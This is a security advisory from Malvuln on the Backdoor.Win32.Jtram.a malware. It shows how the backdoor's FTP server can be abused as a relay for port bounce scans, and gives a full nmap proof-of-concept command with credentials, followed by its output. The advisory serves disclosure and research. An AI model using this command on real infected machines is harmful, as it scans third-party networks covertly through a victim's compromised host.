Backdoor.Win32.Jtram.a Man-In-The-Middle

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/596882dfba543b23ad3225d24ee5e800_B.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Jtram.a  
Vulnerability: Port Bounce Scan  
Description: The malware listens on TCP port 1321. Third-party intruders who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.  
Type: PE32  
MD5: 596882dfba543b23ad3225d24ee5e800  
Vuln ID: MVID-2022-0443  
Disclosure: 01/05/2022  
  
  
Exploit/PoC:  
nmap -n -Pn -b common:[email protected]:1321 -p21,22,80 192.168.18.237 -v  
Starting Nmap 7.80 ( https://nmap.org ) at 2021-12-29 19:11 Pacific Standard Time  
Resolved FTP bounce attack proxy to 192.168.18.129 (192.168.18.129).  
Attempting connection to ftp://common:[email protected]:1321  
Connected:220-rconnect 3.12, by WhitSoft Development (www.whitsoftdev.com)  
220-You are connecting from 130.18.168.192.in-addr.arpa:5074.  
220 Proceed with login.  
Login credentials accepted by FTP server!  
Initiating Bounce Scan at 19:12  
Discovered open port 80/tcp on 192.168.18.237  
Completed Bounce Scan at 19:12, 2.11s elapsed (3 total ports)  
Nmap scan report for 192.168.18.237  
Host is up.  
  
PORT STATE SERVICE  
21/tcp closed ftp  
22/tcp closed ssh  
80/tcp open http  
  
Read data files from: C:\Program Files (x86)\Nmap  
Nmap done: 1 IP address (1 host up) scanned in 11.28 seconds  
  
  
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